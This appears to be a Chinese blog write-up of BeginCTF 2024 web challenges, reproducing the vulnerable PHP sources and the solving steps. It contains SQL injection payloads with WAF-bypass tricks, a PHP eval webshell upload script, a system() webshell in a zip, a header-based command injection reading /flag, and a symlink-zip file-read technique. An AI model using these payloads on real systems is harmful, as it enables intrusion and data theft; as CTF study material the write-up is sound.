beginctf2024部分webwp
官方wp链接BeginCTF官方WP - 飞书云文档 (feishu.cn)
web
SQL注入教学局
单引号闭合.判断waf防御
空格,=,>,<,and,left,&,\,length,update,floor
我们采用联合注入
1'union(selselectect(group_concat(table_name))frfromom(infoorrmation_schema.tables)where(table_schema)like(database()))#
注:由于有执行的查询语句的回显,因此我们能够精确的进行重写绕过.
得到了table名:ctf,score
1'union(selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)where(table_schema)like(database()))#
得到了列名secret,user,grade,student
其中前两个是ctf的,后两个是score的.
1'union(selselectect(group_concat(grade))frfromom(scoorre)where(student)like('begin'))#
得到第二段flagfd0a-4cd5-99db
1'union(selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)where(table_schema)like('secret'))#
得到了三个列名flag,id,note
1'union(selselectect(group_concat(flag))frfromom(secret.passwoorrd))#
得到了第一段flagflag{730b1c38-
1'union(selselectect(group_concat(schema_name))frfromom(infoorrmation_schema.schemata))#
然后我们需要通过load_file来获取第三段.
1'union(selselectect(loloadad_file('/flag')))#
-0336afe55cd9}
zupload
已知flag在根目录下.
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
echo json_encode(array(
'status' => 'error',
'message' => 'Not implemented yet'
));
}
阅读源码我们发现,虽然这题自称文件上传,但是实际上是一个rce的题.我们上传一个zip文件,然后将请求方法改为post,请求参数改为action=/flag即可
zupload-pro
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'File upload failed'
));
}
}
传统文件上传,无防护
zupload-pro-plus
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);
$allowed = array('zip');
if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
可以看到,在后端进行了防护,但是防护方法很是奇特,他截取了第一个点以后(第二个点之前)的内容,检测其中是否含有zip.那么我们直接在burp中将文件名给为eval.zip.php即可
从这开始就是看wp复现的题目,而不是之前做的了
zupload-pro
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'File upload failed'
));
}
}
这题还有另外一种非预期解,就是利用file伪协议.action=file:///flag
他进制/出现在第一处,但是通过file伪协议完美的绕过了.
然后wp中给出了一个很有意思的处理方法,就是利用python脚本来实现文件上传.我们将这个脚本翻译了一下;
from io import BytesIO
import requests
url = 'http://ctf.ctbu.edu.cn:33754/'
webshell = BytesIO(b'<?php @eval($_POST["cmd"]);?>')
files={'file': ('shell.zip.php', webshell)}
requests.post(url=url, files=files)
url_upload='http://ctf.ctbu.edu.cn:33754/uploads/shell.php'
data={'cmd': 'echo `cat /flag`;'}
req=request.post(url=url_upload,data=data)
print(req.text)
这个脚本经过ctfhub的一道类似的题的验证是好使的,但是在本地跑不通.
zupload-pro-plus-max
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(include($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;
if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
这一题如果想像刚才那题一样走下面的方法进行文件上传,就会发现我们的扩展名被限制为zip,且要求确保压缩包可打开.如果把恶意木马塞到zip文件中则无法执行.然而我们发现get方法中出现了文件包含漏洞.die(include($_GET['action']));
因此我们只需要使用get方法上传一个正常的zip马即可.
zip的内容为<?php @system('cat /flag;')?>
这题也给出了python代码,但是感觉有点繁琐,不想去学习了.
zupload-pro-plus-max-ultra
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
get方法彻底不让走了.exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
但是我们看到了这句进行了命令拼接,猜测存在rce漏洞.
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
extract_to是由这个生成的.如果我们能在http添加一个首部字段,则能够实现任意命令拼接.
注意:$_SERVER['HTTP_X_EXTRACT_TO']
这个获取的是一个全局变量,为http头部的X-EXTRACT-TO字段.在RFC 7230中由规定要求http首部字段不能含有下划线.如果要获取x-forward-for字段,则php代码需要这么写:$_SERVER['HTTP_X_FORWARDED_FOR']
所以我们构建http头部
X-EXTRACT-TO:upload/;tac /flag>1.txt;
然后我们直接访问即可.exec处理的结果如果不echo或print_r一下,是没有回显的.
zupload-pro-plus-max-ultra-premium
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');
if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_name_new = uniqid('', true) . '.' . $file_ext;
$file_destination = 'uploads/' . $file_name_new;
if (!move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'error',
'message' => 'Failed to upload file'
));
}
exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}
这题不仅把$file_destination放在了中间,还使用了escapeshellarg函数来进行转义防御.因此上面的方法不好使了.我们考虑软连接拉取绕过.
现在本地的linux下进行处理上传的文件.
touch /flag
ln -s /flag soft
zip --symlink soft.zip soft
需要详细解释一下这个--symlink参数.正常的压缩包存储的是文件的内容,但是如果加上参数后存储的是文件的地址,可以理解为这个symlink是为软连接专门提供的.也就是说生成的这个soft.zip存储的是/flag这个位置.我们将这个压缩包上传后去访问.访问一个压缩包的效果是将其下载.这样我们就能通过这个软连接的压缩包拉取下载/flag.
上面的命令也可以写作
touch /flag
zip --symlink soft.zip /flag
这个也是好使的.这也说明了软连接的本质就是一个地址,因此在这里直接传参/flag也可.
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)